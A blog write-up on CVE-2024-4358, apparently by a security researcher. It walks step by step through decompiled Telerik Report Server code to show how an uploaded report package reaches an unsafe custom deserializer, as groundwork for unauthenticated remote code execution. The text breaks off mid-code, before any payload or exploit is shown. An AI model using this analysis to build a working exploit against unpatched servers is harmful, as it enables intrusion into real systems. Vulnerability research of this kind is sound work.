Molding lies into reality || Exploiting CVE-2024-4358

TLDR

Progress made a mistake and published an advisory for a deserialization bug with CVSS 9.9 even though it required authentication, shortly after the patch, I managed to find an authentication bypass but got stuck when trying to exploit the deserialization issue that was found by an anonymous researcher however with help of Soroush Dalili (@irsdl) we managed to complete the deserialization chain and achieve full unauthenticated RCE.

Before we begin

None of this would’ve been possible if it wasn’t because of Soroush Dalili (@irsdl), everything I know about .NET is because of him and him only, thank you for always teaching me Soroush, you are truly the most humble person I know. Soroush encouraged me so many times to write this blog post and its because of him that you are now reading this. It took me so many hours stepping through each and every corner of the serializer to understand, exploit and document its mechanics here, I hope someone can learn from the result.

Introduction (yet another TLDR)

April 25th, Telerik published an advisory stating that progress report server is affected by a remote code execution through deserialization that allows an “unauthenticated” attacker to achieve remote code execution, the CVSS for this RCE issue was wrongly marked as 9.9 on progress website.

Shortly after, the good folks at Zero Day Initiative , published the actual advisory details and as you can see, the CVSS has been marked as 8.8, which means a “low privilege” user is required to exploit this issue.

Advisory for the deserialization issue:

ZDI

Molding lies into reality

After I noticed the mistake on their scoring, I thought, It would actually be very funny if I can manage to find a way to bypass the authentication and actually make the issue into a Critical CVSS 9.9, so that’s what I did!

ZDI

Advisory for the authentication bypass issue:

ZDI

Thought Process

the deserialization issue was discovered and reported by an anonymous researcher, but no PoC was published (until now) due to the complexity of the vulnerability, in this blog post I’ll detail the full chain pre-authenticated Remote Code Execution, first I’ll begin with explaining the entire internals of the Telerik Report Server Custom Serializer and how it’s possible to achieve arbitrary command execution by exploiting a very interesting flaw in the mechanics of the serializer, then I’ll continue to explain the authentication bypass that I’ve discovered that was overlooked by the initial researcher.

Warning

I’ve taken many detours when explaining each and every corner of the vulnerable code, this takes you from absolute 0 to the cause of popping a shell against this target, so it gets inception level deep (not for me though) using a debugger is highly recommended. The code contains many classes and methods with the same exact name, for example there are many classes named TypeResolver but they belong to different namesapces and many methods named Deserialize that belong to different classes, I’ve tried to establish when there is a difference, just focus when you are reading and you should be fine.

Lastly, My grammar level is garbage, so if you saw something like you’re/your/there/their/der don’t get surprised.

Advanced .NET Exploitation

if you had a hard time understanding this blog post but like to learn about .NET Exploitation, I have recently made my Advanced .NET Exploitation Training public, sign up and let me teach you everything you need about deserialization and how to pop shellz on .net targets.

AdvancedNetExploitationTraining

Lets begin

According to their official website, Telerik Report Server is an End-to-End Report Management Solution without advertising the product in a blog that’s supposed to show how to gain RCE in the said product, its actually a powerful solution, as you can see in the following picture it allows making tables, charts, input boxes, etc and all of this are processed on the server side, what can go wrong the smart reader asked!

reportsample

Since we are interested in exploiting the server report processing feature, we’ll begin right there. when we send our report to the server, in order for the server to start processing our malicious report, it makes a call to

Telerik.ReportServer.Engine.Common.ReportDocumentResolver.Resolve

Lets understand this method, it takes 3 arguments which the first two are important to our exploitation purpose, first is our sent report data as an array of bytes, second, is the extension, we are interested in hitting the UnpackageDocument call so we need to satisfy the IsSupportedExtension condition

private static IReportDocument Resolve(byte[] reportData, string extension, IProcessingContext context)
{
  if (ReportPackager.IsSupportedExtension(extension))
  {
    return new ReportPackager().UnpackageDocument(new MemoryStream(reportData));
  }
  return ReportDocumentResolver.ResolveAsXmlReportSource(reportData, context);
}

Lets take a small detour and take a look at the IsSupportedExtension which is part of the Telerik.Reporting.ReportPackager.IsSupportedExtension the following is a summarized version of this method’s implementation

internal static bool IsSupportedExtension(string extension)
{
  return ReportPackager.extensions.Contains(extension.ToLower());
}


internal const string DefinitionPath = "/definition.xml";


private static readonly string[] extensions = new string[] { ".trdp", ".trbp" };

As you can notice, the mechanics of this method is simple, if the extension is either .trdp or .trbp the method returns true allowing us to hit our desired branch which is UnpackageDocument. Now lets step out and analyze the UnpackageDocument

The UnpackageDocument or better known as Telerik.Reporting.ReportPackager.UnpackageDocument(Stream) expects an argument of type Stream and as you remember, our array of bytes were converted to the well known .NET MemoryStream

The eagle eye notices that the stream of memory just created is passed to ZipResourceHandler.FromStream to create an object of type Telerik.Reporting.Utils.ZipResourceHandler , as you can notice the ZipResourceHandler class wasn’t instantiated which means the FromStream has to be static method

public IReportDocument UnpackageDocument(Stream packageStream)
{
  ZipResourceHandler zipResourceHandler = ZipResourceHandler.FromStream(packageStream);
  IReportDocument reportDocument;
  using (Stream stream = zipResourceHandler.Resources["/definition.xml"].CreateReadStream())
  {
    reportDocument = this.serializer.Deserialize(stream, zipResourceHandler);
  }
  return reportDocument;
}

Lets take another small detour and understand the mechanics of this class and its static method made by telerik.

Following is the summarized version of the Telerik.Reporting.Utils.ZipResourceHandler

At first sight, you’ll notice the simple skeleton of this class and once again the simple implementation of our suspect FromStream , lets proceed and understand this method

namespace Telerik.Reporting.Utils
{

	internal class ZipResourceHandler : IResourceHandler
	{



		public IConvertersContainer Converters { get; private set; }



		public IDictionary<string, IStreamResource> Resources
		{
			get
			{
				return this.resources;
			}
		}




		public INamingContext NamingContext { get; private set; }


		public ZipResourceHandler(IConvertersContainer converters)
		{
			this.Converters = converters;
			this.NamingContext = new NamingContext();
			this.Converters.Initialize(this, this.NamingContext);
		}


		public static ZipResourceHandler FromStream(Stream stream)
		{
			stream.Position = 0L;
			return new ZipResourceHandler(new ZipReadConverter()).LoadResources(stream);
		}

The FromStream first instantiates an instance of the ZipResourceHandler and for its arguments it passes along an instance of ZipReadConverter and when the ZipResourceHandler is instantiated it’s LoadResources method is called passing along our malicious report memory stream object.

Following is the implementation of the Telerik.Reporting.Utils.ZipResourceHandler.LoadResources(Stream) method, once again, the implementation is simple, the memory stream is treated as a ZIP object and its items are iterated and added to an internal dictionary named Resources each

private ZipResourceHandler LoadResources(Stream stream)
{
  foreach (string text in ZipFile.Open(stream).GetPackageContent())
  {
    this.Resources.Add(text, new ZipResource(stream, text));
  }
  return this;
}

The said dictionary expects elements that have 2 members being a System.String and Telerik.Reporting.Interfaces.IStreamResource

public IDictionary<string, IStreamResource> Resources
{
  get
  {
    return this.resources;
  }
}

Perfect, now that we have an understanding of how the internals of ZipResourceHandler.FromStream works, lets go back to the UnpackageDocument

When the Resources property of the zipResourceHandler variable is populated, the next statement tries to retrieve the content of the definition.xml from the root of our malicious ZIP File

public IReportDocument UnpackageDocument(Stream packageStream)
{
  ZipResourceHandler zipResourceHandler = ZipResourceHandler.FromStream(packageStream);
  IReportDocument reportDocument;
  using (Stream stream = zipResourceHandler.Resources["/definition.xml"].CreateReadStream())
  {
    reportDocument = this.serializer.Deserialize(stream, zipResourceHandler);
  }
  return reportDocument;
}

Perfect, now that the content of this file is retrieved using CreateReadStream , its content is passed to this.serializer.Deserialize

But wait! when did this.serializer get set? good question! lets go back, again!

The this.serializer is part of the Telerik.Reporting.ReportPackager.serializer class

private IXmlSerializer serializer;

Before I tell you how it gets initialized, don’t let the IXmlSerializer fool ya, that is not the .NET standard XmlSerializer, rather its actual type is Telerik.Reporting.ReportSerialization.IXmlSerializer a simple interface made by Telerik

namespace Telerik.Reporting.ReportSerialization
{

	internal interface IXmlSerializer
	{

		string Serialize(IReportDocument value, IResourceHandler resourceHandler);


		IReportDocument Deserialize(Stream stream, IResourceHandler resourceHandler);
	}
}

Okay, lets finally answer the question, how did serializer get initialized? it was initialized at the begining! remember? when the Resolve method was executed, a call to new ReportPackager() was made.

private static IReportDocument Resolve(byte[] reportData, string extension, IProcessingContext context)
{
  if (ReportPackager.IsSupportedExtension(extension))
  {
    return new ReportPackager().UnpackageDocument(new MemoryStream(reportData));
  }
  return ReportDocumentResolver.ResolveAsXmlReportSource(reportData, context);
}

following is the implementation of ReportPackager() , it simply makes a call to another method with the same name but differnt argument which is of type IXmlSerializer,

namespace Telerik.Reporting
{

	public class ReportPackager
	{

		internal ReportPackager(IXmlSerializer serializer)
		{
			this.serializer = serializer;
		}


		public ReportPackager()
			: this(new ReportXmlSerializer())
		{
		}

and the ReportXmlSerializer() is the source of all evil, lets have a look at its constructor before we take a look at its vulnerable Deserialize() method


namespace Telerik.Reporting.XmlSerialization
{

	public class ReportXmlSerializer : IXmlSerializer
	{

		public ReportXmlSerializer()
		{
			this.serializer = new XmlSerializer(new SerializationSettings
			{
				TypeResolver = TypeResolverFactory.CreateTypeResolver()
			});
		}


		IReportDocument IXmlSerializer.Deserialize(Stream stream, IResourceHandler resourceHandler)
		{
			return (IReportDocument)this.serializer.Deserialize(stream, resourceHandler);
		}

The trained eye notices that the constructor first instantiates an instance of the XmlSerializer and for its argument it instantizes a TypeResolver this is where shit hits the fan basically. once again, don’t let the XmlSerializer fool you, that is not the standard Microsoft .NET XmlSerializer rather its made by telerik and its full name is Telerik.Reporting.XmlSerialization.XmlSerializer

lets analyze its internals, before we do, once again I’ll isolate the call to this class

public ReportXmlSerializer()
{
	this.serializer = new XmlSerializer(new SerializationSettings
	{
		TypeResolver = TypeResolverFactory.CreateTypeResolver()
	});
}

as you can see when the class is about to be instantiated, an argument of type SerializationSettings is passed to it, we’ll look at this later, first lets open up XmlSerializer

The eagle eye notices the constructor for this class immediately makes a call to base (settings) which means it this constructor actually calls the constructor of its parent class, in this case, the XmlSerializerBase

using System;
using Telerik.Reporting.Serialization;

namespace Telerik.Reporting.XmlSerialization
{

	internal class XmlSerializer : XmlSerializerBase
	{

		public XmlSerializer(SerializationSettings settings)
			: base(settings)
		{
		}


		protected override ObjectWriter CreateObjectXmlWriter(IWriter writer)
		{
			return new ObjectXmlWriter(writer, this.settings);
		}
	}
}

lets breakdown the XmlSerializerBase class, this is the full source code of this class, but we’ll be isolating the areas that are interesting to us

using System;
using System.IO;
using System.Text;
using System.Xml;
using Telerik.Reporting.Serialization;
using Telerik.Reporting.Utils;

namespace Telerik.Reporting.XmlSerialization
{

	internal class XmlSerializerBase
	{

		public XmlSerializerBase()
			: this(XmlSerializerBase.serializationSettings)
		{
		}


		public XmlSerializerBase(SerializationSettings settings)
		{
			this.settings = settings;
		}


		public string Serialize(object value, string defaultNamespace, IResourceHandler resourceHandler)
		{
			StringBuilder stringBuilder = new StringBuilder();
			string text;
			using (Utf8StringWriter utf8StringWriter = new Utf8StringWriter(stringBuilder))
			{
				this.Serialize(utf8StringWriter, value, defaultNamespace, resourceHandler);
				text = stringBuilder.ToString();
			}
			return text;
		}


		public void Serialize(Stream stream, object value, string defaultNamespace, IResourceHandler resourceHandler)
		{
			using (XmlWriter xmlWriter = XmlWriter.Create(stream, XmlSerializerBase.xmlWriterSettings))
			{
				this.Serialize(xmlWriter, value, defaultNamespace, resourceHandler);
			}
		}


		public void Serialize(string fileName, object value, string defaultNamespace, IResourceHandler resourceHandler)
		{
			using (XmlWriter xmlWriter = XmlWriter.Create(fileName, XmlSerializerBase.xmlWriterSettings))
			{
				this.Serialize(xmlWriter, value, defaultNamespace, resourceHandler);
			}
		}


		public void Serialize(TextWriter writer, object value, string defaultNamespace, IResourceHandler resourceHandler)
		{
			using (XmlWriter xmlWriter = XmlWriter.Create(writer, XmlSerializerBase.xmlWriterSettings))
			{
				this.Serialize(xmlWriter, value, defaultNamespace, resourceHandler);
			}
		}


		public void Serialize(XmlWriter writer, object value, string defaultNamespace, IResourceHandler resourceHandler)
		{
			this.CreateObjectXmlWriter(new XmlWriterWrapper(writer)).Serialize(value, defaultNamespace, resourceHandler);
		}


		public object Deserialize(Stream stream, IResourceHandler resourceHandler)
		{
			object obj;
			using (XmlReader xmlReader = XmlReader.Create(stream, XmlSerializerBase.xmlReaderSettings))
			{
				obj = this.Deserialize(xmlReader, resourceHandler);
			}
			return obj;
		}


		public object Deserialize(string fileName, IResourceHandler resourceHandler)
		{
			object obj;
			using (XmlReader xmlReader = XmlReader.Create(fileName, XmlSerializerBase.xmlReaderSettings))
			{
				obj = this.Deserialize(xmlReader, resourceHandler);
			}
			return obj;
		}


		public object Deserialize(TextReader reader, IResourceHandler resourceHandler)
		{
			object obj;
			using (XmlReader xmlReader = XmlReader.Create(reader, XmlSerializerBase.xmlReaderSettings))
			{
				obj = this.Deserialize(xmlReader, resourceHandler);
			}
			return obj;
		}


		public object Deserialize(XmlReader reader, IResourceHandler resourceHandler)
		{
			return this.CreateObjectXmlReader(new XmlReaderWrapper(reader)).Deserialize(resourceHandler);
		}


		protected virtual ObjectReader CreateObjectXmlReader(IReader reader)
		{
			return new ObjectXmlReader(reader, this.settings);
		}


		protected virtual ObjectWriter CreateObjectXmlWriter(IWriter writer)
		{
			return new ObjectWriter(writer, this.settings);
		}


		private static readonly SerializationSettings serializationSettings = new SerializationSettings
		{
			TypeResolver = null
		};


		private static readonly XmlWriterSettings xmlWriterSettings = new XmlWriterSettings
		{
			Indent = true,
			Encoding = Encoding.UTF8,
			NewLineHandling = NewLineHandling.Entitize
		};


		private static readonly XmlReaderSettings xmlReaderSettings = new XmlReaderSettings
		{
			CheckCharacters = false,
			IgnoreComments = true,
			IgnoreProcessingInstructions = true,
			IgnoreWhitespace = true,
			XmlResolver = null
		};


		protected readonly SerializationSettings settings;
	}
}

here is the isolated version, I’ve got rid of the Serialize methods and just left the important parts AKA 80% of it

namespace Telerik.Reporting.XmlSerialization
{

	internal class XmlSerializerBase
	{

		public XmlSerializerBase()
			: this(XmlSerializerBase.serializationSettings)
		{
		}


		public XmlSerializerBase(SerializationSettings settings)
		{
			this.settings = settings;
		}
		
		public object Deserialize(Stream stream, IResourceHandler resourceHandler)
		{
			object obj;
			using (XmlReader xmlReader = XmlReader.Create(stream, XmlSerializerBase.xmlReaderSettings))
			{
				obj = this.Deserialize(xmlReader, resourceHandler);
			}
			return obj;
		}


		public object Deserialize(string fileName, IResourceHandler resourceHandler)
		{
			object obj;
			using (XmlReader xmlReader = XmlReader.Create(fileName, XmlSerializerBase.xmlReaderSettings))
			{
				obj = this.Deserialize(xmlReader, resourceHandler);
			}
			return obj;
		}


		public object Deserialize(TextReader reader, IResourceHandler resourceHandler)
		{
			object obj;
			using (XmlReader xmlReader = XmlReader.Create(reader, XmlSerializerBase.xmlReaderSettings))
			{
				obj = this.Deserialize(xmlReader, resourceHandler);
			}
			return obj;
		}


		public object Deserialize(XmlReader reader, IResourceHandler resourceHandler)
		{
			return this.CreateObjectXmlReader(new XmlReaderWrapper(reader)).Deserialize(resourceHandler);
		}


		protected virtual ObjectReader CreateObjectXmlReader(IReader reader)
		{
			return new ObjectXmlReader(reader, this.settings);
		}


		protected virtual ObjectWriter CreateObjectXmlWriter(IWriter writer)
		{
			return new ObjectWriter(writer, this.settings);
		}


		private static readonly SerializationSettings serializationSettings = new SerializationSettings
		{
			TypeResolver = null
		};


		private static readonly XmlWriterSettings xmlWriterSettings = new XmlWriterSettings
		{
			Indent = true,
			Encoding = Encoding.UTF8,
			NewLineHandling = NewLineHandling.Entitize
		};


		private static readonly XmlReaderSettings xmlReaderSettings = new XmlReaderSettings
		{
			CheckCharacters = false,
			IgnoreComments = true,
			IgnoreProcessingInstructions = true,
			IgnoreWhitespace = true,
			XmlResolver = null
		};


		protected readonly SerializationSettings settings;
	}
}

First, the XmlSerializerBase(SerializationSettings settings) will simply populates the crucial this.settings variable, lets find out what this variable is

namespace Telerik.Reporting.XmlSerialization
{

	internal class XmlSerializerBase
	{

		public XmlSerializerBase()
			: this(XmlSerializerBase.serializationSettings)
		{
		}


		public XmlSerializerBase(SerializationSettings settings)
		{
			this.settings = settings;
		}
		

the this.settings also known as Telerik.Reporting.XmlSerialization.XmlSerializerBase.settings holds very crucial information whenever the Telerik Serializer/Deserializer is used

protected readonly SerializationSettings settings;

but, what does it hold exactly? lets analyse its definition.

trained eye notices that the TypeResolver property is here, if you remember, this propery was being set during the instantiation of the custom XmlSerializer class

namespace Telerik.Reporting.Serialization
{

	internal class SerializationSettings
	{



		public ITypeResolver TypeResolver { get; set; }




		public bool IncludeDesignProperties { get; set; }


		public SerializationSettings()
		{
			this.IncludeDesignProperties = false;
		}


		public readonly string NullString = "null";
	}
}

to recap, the XmlSerializer class gets instantiated which is a child class of XmlSerializerBase and this parent class has a crucial property named settings that is of type SerializationSettings which has an important property named TypeResolver


namespace Telerik.Reporting.XmlSerialization
{

	public class ReportXmlSerializer : IXmlSerializer
	{

		public ReportXmlSerializer()
		{
			this.serializer = new XmlSerializer(new SerializationSettings
			{
				TypeResolver = TypeResolverFactory.CreateTypeResolver()
			});
		}
		
}

now its time to analyze 2 important things:

namespace Telerik.Reporting.XmlSerialization
{

	public class ReportXmlSerializer : IXmlSerializer
	{

		public ReportXmlSerializer()
		{
			this.serializer = new XmlSerializer(new SerializationSettings
			{
				TypeResolver = TypeResolverFactory.CreateTypeResolver()
			});
		}


		IReportDocument IXmlSerializer.Deserialize(Stream stream, IResourceHandler resourceHandler)
		{
			return (IReportDocument)this.serializer.Deserialize(stream, resourceHandler);
		}
}

lets look at CreateTypeResolver AKA Telerik.Reporting.ReportSerialization.TypeResolverFactory.CreateTypeResolver()

this class normally looks nested

using System;
using Telerik.Reporting.Serialization;

namespace Telerik.Reporting.ReportSerialization
{

	internal class TypeResolverFactory
	{

		internal static ITypeResolver CreateTypeResolver()
		{
			return TypeResolvers.V1(TypeResolvers.V2(TypeResolvers.V3(TypeResolvers.V3_1(TypeResolvers.V3_2(TypeResolvers.V3_3(TypeResolvers.V3_4(TypeResolvers.V3_5(TypeResolvers.V3_6(TypeResolvers.V3_7(TypeResolvers.V3_8(TypeResolvers.V3_9(TypeResolvers.V4_0(TypeResolvers.V4_1(TypeResolvers.V4_2(TypeResolvers.v2017_3_0(TypeResolvers.v2018_2_0(TypeResolvers.v2018_3_0(TypeResolvers.v2019_1_0(TypeResolvers.v2019_2_0(TypeResolvers.v2020_1_0(TypeResolvers.v2020_2_0(TypeResolvers.v2021_1_0(TypeResolvers.v2021_2_0(TypeResolvers.v2022_3_1(TypeResolvers.Current(TypeResolvers.Unknown()))))))))))))))))))))))))));
		}
	}
}

for the purpose of this blog post, I made it more readable, as you can notice, this is building a TypeResolver chain, a collection of different supported types that were introduced from the first versions of Telerik Report Server

namespace Telerik.Reporting.ReportSerialization
{
    internal class TypeResolverFactory
    {
        internal static ITypeResolver CreateTypeResolver()
        {
            var resolverUnknown = TypeResolvers.Unknown();
            var resolverCurrent = TypeResolvers.Current(resolverUnknown);
            var resolver2022_3_1 = TypeResolvers.v2022_3_1(resolverCurrent);
            var resolver2021_2_0 = TypeResolvers.v2021_2_0(resolver2022_3_1);
            var resolver2021_1_0 = TypeResolvers.v2021_1_0(resolver2021_2_0);
            var resolver2020_2_0 = TypeResolvers.v2020_2_0(resolver2021_1_0);
            var resolver2020_1_0 = TypeResolvers.v2020_1_0(resolver2020_2_0);
            var resolver2019_2_0 = TypeResolvers.v2019_2_0(resolver2020_1_0);
            var resolver2019_1_0 = TypeResolvers.v2019_1_0(resolver2019_2_0);
            var resolver2018_3_0 = TypeResolvers.v2018_3_0(resolver2019_1_0);
            var resolver2018_2_0 = TypeResolvers.v2018_2_0(resolver2018_3_0);
            var resolver2017_3_0 = TypeResolvers.v2017_3_0(resolver2018_2_0);
            var resolverV4_2 = TypeResolvers.V4_2(resolver2017_3_0);
            var resolverV4_1 = TypeResolvers.V4_1(resolverV4_2);
            var resolverV4_0 = TypeResolvers.V4_0(resolverV4_1);
            var resolverV3_9 = TypeResolvers.V3_9(resolverV4_0);
            var resolverV3_8 = TypeResolvers.V3_8(resolverV3_9);
            var resolverV3_7 = TypeResolvers.V3_7(resolverV3_8);
            var resolverV3_6 = TypeResolvers.V3_6(resolverV3_7);
            var resolverV3_5 = TypeResolvers.V3_5(resolverV3_6);
            var resolverV3_4 = TypeResolvers.V3_4(resolverV3_5);
            var resolverV3_3 = TypeResolvers.V3_3(resolverV3_4);
            var resolverV3_2 = TypeResolvers.V3_2(resolverV3_3);
            var resolverV3_1 = TypeResolvers.V3_1(resolverV3_2);
            var resolverV3 = TypeResolvers.V3(resolverV3_1);
            var resolverV2 = TypeResolvers.V2(resolverV3);
            var resolverV1 = TypeResolvers.V1(resolverV2);

            return resolverV1;
        }
    }
}

To fully understand what I mean, lets open up one of these TypeResolvers , as you can notice, these types are all introduced so a user of Telerik Report Server can do operations such as making shapes, charts, interactive input boxes, colors, etc

reportsample

this is how this monster look s like

reportsample so when each and every one of these types are registered, a user can make their report, as you can see there all of types, and when there are types, there is a chance of insecure deserialization.

so far, we know we are dealing with a custom deserializer that supports many types to allow a user to make a report hence the name telerik report server

now lets analyse the Deserialize method which if you remember was part of the Telerik.Reporting.XmlSerialization.XmlSerializerBase class, but before we do, keep this in mind, there are 4 method named Deserialize and 3 of these are basically wrappers which eventually call the 4th one, you can recognize the 4th one which is the one at the end , also its the one that makes the call to CreateObjectXmlReader method. now why so many Deserialize function you might ask, well because they wanted to have their options on how to call this method:


		public object Deserialize(Stream stream, IResourceHandler resourceHandler)
		{
			object obj;
			using (XmlReader xmlReader = XmlReader.Create(stream, XmlSerializerBase.xmlReaderSettings))
			{
				obj = this.Deserialize(xmlReader, resourceHandler);
			}
			return obj;
		}


		public object Deserialize(string fileName, IResourceHandler resourceHandler)
		{
			object obj;
			using (XmlReader xmlReader = XmlReader.Create(fileName, XmlSerializerBase.xmlReaderSettings))
			{
				obj = this.Deserialize(xmlReader, resourceHandler);
			}
			return obj;
		}


		public object Deserialize(TextReader reader, IResourceHandler resourceHandler)
		{
			object obj;
			using (XmlReader xmlReader = XmlReader.Create(reader, XmlSerializerBase.xmlReaderSettings))
			{
				obj = this.Deserialize(xmlReader, resourceHandler);
			}
			return obj;
		}


		public object Deserialize(XmlReader reader, IResourceHandler resourceHandler)
		{
			return this.CreateObjectXmlReader(new XmlReaderWrapper(reader)).Deserialize(resourceHandler);
		}

Following is the Deserialize method which we are interested in, as you can see, it first calls the CreateObjectXmlReader by passing our report (as a XmlReader object) to it and then calling .Deserialize() on its return value, please note, the following Deserialize method invoked that has a argument of resourceHandler should not be confused with so many other Deserialize methods which we analyzed so far, you’ll see why in just a moment

public object Deserialize(XmlReader reader, IResourceHandler resourceHandler)
{
  return this.CreateObjectXmlReader(new XmlReaderWrapper(reader)).Deserialize(resourceHandler);
}

Lets see what does CreateObjectXmlReader do, simply, it instantiates an instnace of ObjectXmlReader AKA Telerik.Reporting.XmlSerialization.ObjectXmlReader by passing the this.settings variable which if you remember contained the TypeResolver information.

protected virtual ObjectReader CreateObjectXmlReader(IReader reader)
{
  return new ObjectXmlReader(reader, this.settings);
}

lets look at the definition of ObjectXmlReader, the consturctor calls the constructor of the parent class

namespace Telerik.Reporting.XmlSerialization
{

	internal class ObjectXmlReader : ObjectReader
	{

		public ObjectXmlReader(IReader xmlReader, SerializationSettings settings)
			: base(xmlReader, settings)
		{
		}


		protected override bool ShouldReadElement(object obj, IReader reader)
		{
			IXmlElementReader xmlElementReader = obj as IXmlElementReader;
			if (xmlElementReader != null)
			{
				XmlReaderWrapper xmlReaderWrapper = reader as XmlReaderWrapper;
				if (xmlReaderWrapper == null || xmlElementReader.ReadElement(xmlReaderWrapper.Reader))
				{
					return false;
				}
			}
			return true;
		}
	}
}

lets take a look at the parent class which is Telerik.Reporting.Serialization.ObjectReader , we are mainly interested in the Deserialize method inside this class, following is the complete skeleton of this class and its methods, we’ll breakdown each and every important bit of it, have a look and follow along.

readers

using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Linq;
using System.Reflection;
using Telerik.Reporting.Xml;

namespace Telerik.Reporting.Serialization
{

	internal class ObjectReader : ObjectReaderWriterBase
	{

		public ObjectReader(IReader xmlReader, SerializationSettings settings)
			: base(settings)
		{
			this.reader = xmlReader;
		}


		public object Deserialize(IResourceHandler handler)
		{
			base.ResourceHandler = handler;
			this.reader.Init();
			string defaultNamespace = this.GetDefaultNamespace();
			this.typeResolver = base.GetTypeResolver(defaultNamespace);
			ObjectReader.ValidateTypeResolver(this.typeResolver, defaultNamespace);
			return this.ReadXmlElement(this.reader.Type);
		}


		private static void ValidateTypeResolver(ITypeResolver typeResolver, string defaultNamespace)
		{
			if (typeResolver == null)
			{
				throw new UnsupportedVersionException(defaultNamespace);
			}
		}


		private string GetDefaultNamespace()
		{
			return this.reader.LookupNamespace("");
		}


		private object CreateInstance(Type type)
		{
			string text = null;
			if (this.reader.NodeType == NodeType.Element)
			{
				text = this.reader.GetAttribute("Name");
			}
			return this.CreateInstance(type, text);
		}


		protected virtual object CreateInstance(Type type, string name)
		{
			object obj;
			try
			{
				obj = Activator.CreateInstance(type, this.GetCtorParams(type));
			}
			catch (Exception ex)
			{
				throw new MissingMethodException(string.Format("Type: {0}", type), ex);
			}
			return obj;
		}


		private object[] GetCtorParams(Type type)
		{
			try
			{
				if (type.GetConstructors().Any(delegate(ConstructorInfo c)
				{
					ParameterInfo[] parameters = c.GetParameters();
					return parameters.Length == 1 && parameters[0].ParameterType == typeof(IConvertersContainer);
				}))
				{
					return new object[] { base.ResourceHandler.Converters };
				}
			}
			catch (Exception ex)
			{
				string text = "Error while resolving the Serializable ctors: ";
				Exception ex2 = ex;
				Trace.WriteLine(text + ((ex2 != null) ? ex2.ToString() : null));
			}
			return new object[0];
		}


		private object ReadObject(Type type)
		{
			TypeMapping typeMapping = TypeMapper.GetTypeMapping(type);
			this.OnDeserializing(type);
			object obj;
			if (typeMapping != TypeMapping.Primitive)
			{
				if (typeMapping == TypeMapping.Collection)
				{
					obj = this.CreateInstance(type);
					this.ReadCollection(obj);
				}
				else
				{
					obj = this.CreateInstance(type);
					bool flag = obj is INamedObject;
					if (flag)
					{
						base.ResourceHandler.NamingContext.StartComponent((INamedObject)obj);
					}
					this.ReadProperties(obj);
					if (flag)
					{
						base.ResourceHandler.NamingContext.EndComponent();
					}
				}
			}
			else
			{
				obj = this.ReadPrimitive(type);
			}
			object deserializedObject = this.GetDeserializedObject(obj);
			this.OnDeserialized(deserializedObject);
			return deserializedObject;
		}


		protected virtual void OnDeserializing(Type type)
		{
		}


		protected virtual void OnDeserialized(object instance)
		{
		}


		private Type ResolveType(string ns, string name)
		{
			Type type;
			if (this.typeResolver.ResolveType(ns, name, out type))
			{
				return type;
			}
			return null;
		}


		private object ReadValue(Type type, string text)
		{
			if (typeof(IConvertible).IsAssignableFrom(type))
			{
				return this.ReadPrimitive(type);
			}
			if (typeof(object) == type && this.reader.NodeType == NodeType.Text)
			{
				return text;
			}
			return this.ReadXmlElement(text);
		}


		private object ConvertFromString(TypeConverter converter, ITypeDescriptorContext context, string text)
		{
			return converter.ConvertFrom(context, base.Culture, text);
		}


		private void ReadValue(object obj, PropertyDescriptor prop)
		{
			base.ResourceHandler.NamingContext.StartProperty(prop.Name);
			object obj2 = null;
			string nodeValue = this.GetNodeValue();
			if (nodeValue == base.Settings.NullString)
			{
				obj2 = null;
			}
			else
			{
				TypeConverter typeConverter = base.GetTypeConverter(prop);
				if (typeConverter != null)
				{
					obj2 = this.ConvertFromString(typeConverter, this.CreateTypeDescriptorContext(obj, prop), nodeValue);
				}
				else
				{
					try
					{
						if (prop.PropertyType == typeof(Type))
						{
							obj2 = Type.GetType(nodeValue);
						}
						else
						{
							obj2 = Convert.ChangeType(nodeValue, prop.PropertyType, base.Culture);
						}
					}
					catch (Exception ex)
					{
						throw new SerializerExcepion(string.Format("The XML serializer cannot resolve type with name: {0}", prop.PropertyType), ex);
					}
				}
			}
			prop.SetValue(obj, obj2);
			base.ResourceHandler.NamingContext.EndProperty();
		}


		private void ReadAttributes(object obj, PropertyDescriptorCollection props)
		{
			if (this.reader.MoveToFirstAttribute())
			{
				do
				{
					string text = ObjectReader.ResolveElementName(this.GetPropertyName(this.reader.Name));
					PropertyDescriptor propertyDescriptor = props[text];
					if (propertyDescriptor != null)
					{
						this.ReadValue(obj, propertyDescriptor);
					}
					else if (this.reader.LookupNamespace(text) == null)
					{
						string.Format("Attribute {0} not found as a property of the object", this.reader.Name);
					}
				}
				while (this.reader.MoveToNextAttribute());
			}
			this.reader.MoveToElement();
		}


		private void ReadProperties(object obj)
		{
			this.reader.MoveToContent();
			PropertyDescriptorCollection properties = TypeDescriptor.GetProperties(obj);
			this.ReadAttributes(obj, properties);
			if (!this.reader.IsEmptyElement)
			{
				this.reader.ReadStartElement();
				while (this.reader.NodeType != NodeType.EndElement && this.reader.NodeType != NodeType.None)
				{
					if (this.ShouldReadElement(obj, this.reader))
					{
						if (this.reader.NodeType == NodeType.Element)
						{
							string propertyName = this.GetPropertyName(this.reader.Name);
							PropertyDescriptor propertyDescriptor = properties[propertyName];
							if (propertyDescriptor != null)
							{
								Type propertyType = propertyDescriptor.PropertyType;
								if (propertyDescriptor.IsReadOnly)
								{
									object value = propertyDescriptor.GetValue(obj);
									if (value != null && TypeHelper.IsCollection(value.GetType()))
									{
										this.ReadCollection(value);
									}
									else
									{
										if (value is IResourceSerializable)
										{
											((IResourceSerializable)value).Initialize(base.ResourceHandler);
										}
										this.reader.MoveToObject();
										this.ReadProperties(value);
									}
								}
								else
								{
									this.reader.MoveToObject();
									this.ReadProperty(obj, propertyDescriptor, propertyType);
								}
							}
							else
							{
								this.reader.Skip();
							}
						}
						else
						{
							this.reader.Read();
						}
					}
				}
				this.reader.ReadEndObject();
				return;
			}
			this.reader.Skip();
		}


		protected virtual bool ShouldReadElement(object obj, IReader reader)
		{
			return true;
		}


		private object GetDeserializedObject(object value)
		{
			ISerializationSurrogate surrogate = base.GetSurrogate(value);
			if (surrogate != null)
			{
				return surrogate.GetDeserializedObject(value, base.ResourceHandler);
			}
			return value;
		}


		private void ReadProperty(object obj, PropertyDescriptor prop, Type propType)
		{
			this.SkipWhiteSpace();
			if (this.reader.NodeType == NodeType.Text)
			{
				prop.SetValue(obj, this.reader.ReadContentAsString());
				return;
			}
			if (TypeHelper.IsPrimitiveType(propType))
			{
				prop.SetValue(obj, this.ReadPrimitive(propType));
				return;
			}
			object obj2;
			if (TypeHelper.IsCollection(propType))
			{
				obj2 = this.ReadObject(propType);
			}
			else
			{
				string type = this.reader.Type;
